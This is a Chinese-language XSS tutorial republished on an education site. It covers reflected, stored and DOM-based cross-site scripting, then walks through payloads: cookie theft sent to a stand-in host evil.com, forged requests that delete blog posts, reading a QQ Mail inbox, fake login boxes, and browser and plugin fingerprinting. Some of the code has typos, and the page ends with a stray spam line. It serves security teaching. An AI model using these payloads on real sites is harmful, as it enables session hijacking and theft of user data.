<small id="xllpy"></small>
<span id="xllpy"></span>
  • <span id="xllpy"><output id="xllpy"><b id="xllpy"></b></output></span>
    1. <optgroup id="xllpy"><li id="xllpy"><del id="xllpy"></del></li></optgroup>
      <span id="xllpy"><output id="xllpy"><nav id="xllpy"></nav></output></span>
      技術干貨 > 文章詳情

      帶你玩轉跨站腳本攻擊cross site script

      柳絮飄飄_joan2年前

      跨站腳本攻擊 cross site script

          通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由于Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由于歷史原因,這個名字保留了下來。

      假設一個頁面把用戶輸入的參數輸出到頁面上:
      <?php
      $input=$_GET[“param”];
      echo “<div>”.$input.”</div>”;
      ?>
      如果提交一段HTML代碼:
      http://www.a.com/test.php?param=<script>alert(/xss/)</script>
      會發現alert(/xss/)被執行了。

      XSS分為以下幾類:
      1)反射型XSS: 只是簡單地把用戶輸入的數據反射給瀏覽器,黑客需要誘使用戶點擊鏈接。也叫作非持久型XSS“(Non-persistent XSS)
       2)存儲型XSS:把用戶輸入的數據存儲在服務器端。這種XSS具有很強的穩定性。
      比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript        碼。黑客把惡意的腳本保存在服務器端,所以中
      XSS攻擊就叫做存儲型XSS”。存儲型XSS也叫持久性XSS
      3)DOM based XSS:從效果上來說也是一種反射型XSS。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS
      看如下代碼:
      <script>
      function test(){
      var str=document.getElementById(“text”).value;
      document.getElementById(“t”).innerHTML=”<a href='”+str+”‘ >testLink</a>”;
      }
      </script>
      <div id=”t”></div>
      <input type=”text” id=”text” value=”” />
      <input type=”button” id=”s” value=”write” onlick=”test()” />

      這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM based XSS
      構造如下數據:
      ‘ onclick=alert(/xss/) //
      輸入后,頁面代碼就成了
      <a href=” onlick=alert(/xss/) //’ >testLink </a>
      首先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符//注釋掉第二個單引號。 這里為什么需要onclick,是通過on事件觸發?

      實際上,這里還有另外一種利用方式除了構造一個新事件外,還可以選擇閉合掉<a>標簽,并插入一個新的HTML標簽。嘗試如下輸入:
      ‘><img scr=# onerror=alert(/xss2/) /><‘
      頁面代碼編程
      <a href=”><img scr=# onerror=alert(/xss2/) /><”>testLink</a>  這里是onerror事件

      2XSS攻擊進階:
      1)初探XSS Payload:
      XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。
      一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持攻擊。
      Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味著用戶的登錄憑證丟失。換句話說,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。
      如下所示,攻擊者先加載一個遠程腳本:
      http://www.a.com/test.htm?abc=”><script scr=http://www.evil.com/evil.js ></script>
      真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。
      evil.js中,可以通過如下代碼竊取Cookie:
      var img=document.createElement(“img”);    創建一個img對象
      img.src=”http://www.evil.com/log?”+escape(document.cookie);
      document.body.appendChild(img);        img對象插入到節點
      這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。
      事實上,http://www.evil.com/log并不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄。
      這樣就完成了一個最簡單的竊取CookieXSS Payload
      黑客可以用這個Cookie直接登錄。
      防止:Cookie“HttpOnly”標識可以防止”Cookie劫持,我們將在稍后的章節中在具體介紹。HttpOnly表明cookie存在于http層面,不能被客戶端腳本讀取

       2)強大的XSS Payload:
      cookie劫持并非每次都有效,有的網站會在set-cookie時給關鍵cookie植入httponly標識,有的網站則會吧cookie與客戶端ip綁定
      a)網站上的應用,只需要接受HTTPGET POST請求,即可完成所有操作,那么可以通過javascript構造GET POST請求就可以讓應用執行操作。
      例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢?
      假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下:
      正常刪除該文章的鏈接是:
      http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
      對于攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。
      攻擊者可以通過插入一張圖片來發起一個get請求:

      var img=document.createElement(“img”);
      img.scr=”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012″;
      document.body.appendChild(img);

      攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload

      如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢?
      攻擊者將通過Javascript發出一個post請求            在分析的過程中,可以先抓正常提交表單是的post包,然后構造
      第一種方法是構造一個form表單,然后自動提交這個表單:

      var f=document.createElement(“form”);
      f.action=””;
      f.method=”post”;
      document.body.appendChild(f);

      var i1=document.createElement(“input”);
      i1.name=” ck”;
      i1.value=” JiuY”;
      f.appendChild(i1);

      var i2=document.createElement(“input”);
      i2.name=” mb_text”;
      i2.value=”testtestseset”;
      f.appendChild(i2);

      f.submit();

      如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:
      var dd=document.createElement(“div”);
      document.body.appendChild(dd);
      dd.innerHTML='<form action=”” method=”post” id=”xssform” name=”mbform”>’+
      ‘<input type=”hidden” name=”ck” value=”JiuY” />’+
      ‘<input type=”hidden” name=”mb_text” value=”testetst” />’ +
      ‘</form’

      document.getElementById(“xssform”).submit();

      第二種方法是,通過XMLHttpRequest發送一個POST請求:
      var url=”http://www.douban.com”;
      var postStr=”ck=JiuY&mb_text=test1234″;
      var ajax=null;
      if (window.XMLHttpRequest){
      ajax=new XMLHttpRequest();
      } else if (window.ActiveXObject){
      ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
      } else {
      return;
      }

      ajax.open(“POST”,url,true);
      ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
      ajax.send(postStr);

      ajax.onreadystatechange=function(){
      if (ajax.readyState==4 && ajax.status==200){
      alert(“Done”);
      }
      }
      可以看出,在XSS攻擊后,除了可以實施cookie劫持外,還能夠通過模擬GET POST請求操縱用戶的瀏覽器。
      下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾:
      首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊收件箱后。抓包發現瀏覽器發出了如下請求:
      http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1

      經過分析,真正能訪問到郵件列表的鏈接是:
      http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…

      這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。
      所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,并使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:
      if (top.window.location.href.indexOf(“sid=”)>0){
      var sid=top.window..location.href.substr(top.window.location.href.indexOf(“sid=”)+4,24);
      }

      var folder_url=”http://”+top.window.location.host+”/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=”+sid;

      var ajax=null;
      if (window.XMLHttpRequest){
      ajax=new XMLHttpRequest();
      } else if (window.ActiveXObject){
      ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
      } else {
      return;
      }

      ajax.open(“GET”,folder_url,true);
      ajax.send(null);

      ajax.onreadystatechange=function(){
      if (ajax.readyState==4 && ajax.status==200){
      alert(ajax.responseText);
      //document.write(ajax.responseText);
      }
      }

      郵件列表的內容成功被XSS Payload獲取到。

      b)釣魚:
      XSS并非萬能。前面的例子都是Javascript腳本,缺少與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。
      對于驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施攻擊者可以在遠程XSS后臺接收當前驗證碼,并將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。
      修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS釣魚結合。
      實現思路很簡單:利用Javascript在當前頁面上畫出一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。

      c)識別用戶瀏覽器:
      通過識別用戶的瀏覽器、操作系統就可以執行一次精準的內存攻擊
      可以通過javascript腳本識別瀏覽器版本:
      1,通過XSS讀取瀏覽器的UserAgent對象:alert(navigator.userAgent);
      但是userAgent是可以偽造的。這個信息不一定準確。
      2,由于瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。
      通過如下代碼;
      B=(function x(){})[-5]==’x’?’FF3′:(function
      x(){})[-6]==’x’?’FF2′:/a/[-1]==’a’?’FF’:’\v’==’v’?’IE’:/a/.__proto__==’//’?’Saf’:/s/.
      test(/a/.toString)?’Chr’:/^function \(/.test[].sort)?’Op’:’Unknow’
      d)識別用戶安裝的軟件:
      IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用于
      掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。
      看如下代碼:
      try {
      var Obj=new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
      } catch (e){
      //異常了,不存在該控件
      }
      通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
      一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
      XSS Payload中,可以在FlashActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript

      Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件:
      所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0]
      Firefox的擴展(extension):通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
      firefox中有一個特殊的協議: chrome:// Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問:
      chrome://flashgot/skin/icon32.png
      掃描firefox擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在。
      var m=new Image();
      m.onload=function(){
      alert(1);//圖片存在
      };
      m.onerror=function(){
      alert(2);//圖片不存在
      };
      m.src=”chrome://flashgot/skin/icon32.png”; //連接圖片

         e)CSS History Hack:
      另一種XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。
      原理是利用stylevisited屬性如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。
      <body>
      <a href=# >曾經訪問過</a>
      <a href=”notexist”>未曾經訪問過</a>
      </body>
      往上存在利用POCfirefox已經修補了這個漏洞


      版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html ,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8

      版權保護聲明:本文轉自http://www.hekaiyu.cn/xss/272.html,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并保護原創作品的版權,若原作者有任何疑問,請聯系微信號:chengxuyuan8


      0

      登錄 后參與討論

      沒有更多評論了

      免費領取價值1888元求職寶典!

      客服熱線 400-862-8862

      回到頂部

      啪啪啪视频1000